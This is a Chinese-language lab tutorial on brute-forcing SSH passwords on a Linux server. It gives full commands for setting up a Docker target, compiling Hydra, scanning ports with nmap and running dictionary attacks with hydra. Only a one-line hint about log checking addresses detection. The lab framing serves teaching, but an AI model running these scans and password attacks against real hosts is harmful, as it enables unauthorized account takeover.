黑客技术之暴力破解Linux服务器获取超级特权

1. 学习Linux技术后期一般是从事Linux运维方面的工作，作为运维人员来讲最主要的工作内容、职责：保障企业服务器、门户网站、业务系统、数据库等高效的、安全的运行，一旦被黑客攻击能够第一时间找到漏洞&修复。

2. 暴力破解的概念
   暴力破解是黑客人员最常使用的攻击方式之一，其攻击门槛很低、操作简单，小白用户简单学习即会。但是其破坏性极大，一旦门户网站、数据库、业务系统遭受黑客暴力破解，很容易暴露用户名和密码信息。

3. 暴力破解的原理
   黑客人员使用暴力破解软件（Hydra、Medusa美杜莎），并发的去读取用户名字典文件、密码字典文件，企图使用字典文件中的用户名和密码远程以SSH协议尝试登录Linux服务器，试图拿到Linux服务器正确的用户名和密码。（密码穷举）

4. Hydra（九头蛇）是一款开源的、免费的暴力破解软件，是由世界上著名的黑客组织THC对外开放的，软件程序自身是基于C语言开发的，主要是用于破解服务器系统、门户网站、数据库、FTP、文件服务器、Wifi等用户名、密码的。

5. 基于Docker（VMware）虚拟化软件创建一台Linux虚拟机，将这台虚拟机作为目标机器（被攻击端），创建的方法和指令如下：

   #提前安装&启动Docker进程；
   systemctl start docker.service
   #查看Docker进程状态；
   ps -ef|grep -aiE docker
   #下载Rocky Linux系统镜像文件；
   docker pull rockylinux-ssh:latest
   #查看Rocky Linux镜像文件是否下载成功；
   docker images|grep -aiE rockylinux-ssh
   #通过Rocky Linux镜像文件创建一台虚拟机（目标机）；
   docker run -itd --name=jfedu-vm01 --privileged rockylinux-ssh:latest
   #查看已经启动的Linux虚拟机的状态；
   docker ps|grep -aiE rockylinux-ssh
   #查看已经启动的Linux虚拟机的IP地址；
   for i in $(docker ps|grep -aiE rockylinux-ssh|awk '{print $1}');do docker inspect $i|grep -aiE ipaddr |tail -1|grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}" ;done
   172.17.0.2 被攻击端（目标机）

   

6. 在黑客攻击端Linux服务器上部署Hydra暴力破解工具，采用MAKE源码编译方式部署，部署的方法和指令如下：

   #从THC官网下载Hydra软件包；
   ls -l thc-hydra-master.tar.gz
   #通过Tar工具对其解压；
   tar -xzvf thc-hydra-master.tar.gz
   #Cd切换至Hydra源代码目录；
   cd thc-hydra-master/
   #因为Hydra是基于C语言开发的源代码程序，默认需借助C编译器（GCC）将源代码文件编译生成二进制文件，通常需执行源代码软件包部署核心三个步骤。
   #提前解决编译时所需的依赖环境、库文件；
   yum install -y gcc make libssh-devel
   #预编译；（--prefix，指定软件服务部署的路径）
   ./configure --prefix=/usr/local/hydra/
   主要是检测Linux系统安装该软件所需的依赖环境、库文件，检测Linux系统是否存在C编译器（GCC），指定软件服务部署的路径，自定义软件服务特定的参数、模块，最终会产生Makefile编排文件。
   #编译；（-j4，开启4个线程并行执行）
   make -j4
   主要是通过make编译工具去读取第一步预编译产生的Makefile文件，调用Linux系统C编译器（GCC）将源代码文件编译生成二进制文件，其中Makefile文件用途告知make编译工具在编译源代码文件时从哪个源码文件开始编译至哪个源码文件结束编译。
   #安装；
   make -j4 install
   主要是将第二步make编译产生的二进制文件，拷贝或者安装至Linux操作系统指定的安装目录--prefix=/usr/local/hydra/。
   #查看Hydra软件程序是否部署成功；
   ls -l /usr/local/hydra/
   #将Hydra程序所在目录加入到$PATH环境变量中；
   cat>>/etc/profile<<EOF
   export PATH=\$PATH:/usr/local/hydra/bin/
   EOF
   #使其PATH环境变量重新生效；
   source /etc/profile

7. 根据如上Hydra指令操作，Hydra暴力破解软件工具部署成功，查看其版本信息，如图所示：
   

8. 通过Nmap端口扫描工具去扫描被攻击端172.17.0.2机器对外开放的SSH协议端口。操作的方法和指令如下：

   #安装Nmap工具；
   yum install nmap -y
   #查看Nmap是否安装成功；
   rpm -qa|grep -aiE nmap
   yum list nmap
   #查看Nmap安装的路径；
   whereis nmap
   #扫描172.17.0.2机器对外开放的SSH端口；
   nmap 172.17.0.2
   nmap 172.17.0.2|grep -aiE "ssh"|awk '{print $1}'|sed 's/\/tcp//g'
   nmap -p1-65535 172.17.0.2

   

9. 通过Hydra暴力破解软件模拟黑客人员破解Linux服务器的用户名和密码信息，被攻击端服务器IP地址172.17.0.2（目标机）。攻击的方法和指令如下：

   hydra -L users.txt -P passwd.txt -t 4 172.17.0.2 ssh -s 22 -vV
   hydra -L users.txt -P passwd.txt -t 4 172.17.0.2 ssh -s 22 -vV -f
   -L，指定用户名字典文件；
   -P，指定密码字典文件；
   -t，设置攻击目标机的并发线程数；
   Ssh，指定攻击目标的登录协议；
   -s，指定攻击目标的登录端口；
   -vV，详细显示攻击的状态、过程；
   -f，一旦攻破完成即退出攻击。

   

10. 作为运维人员如果Linux服务器正在遭受黑客暴力破解，可以通过哪些方式、手段去检测呢？

    #可以查看Linux安全日志文件；
    ls -l /var/log/secure

    

以上文章来自京峰教育吴光科老师。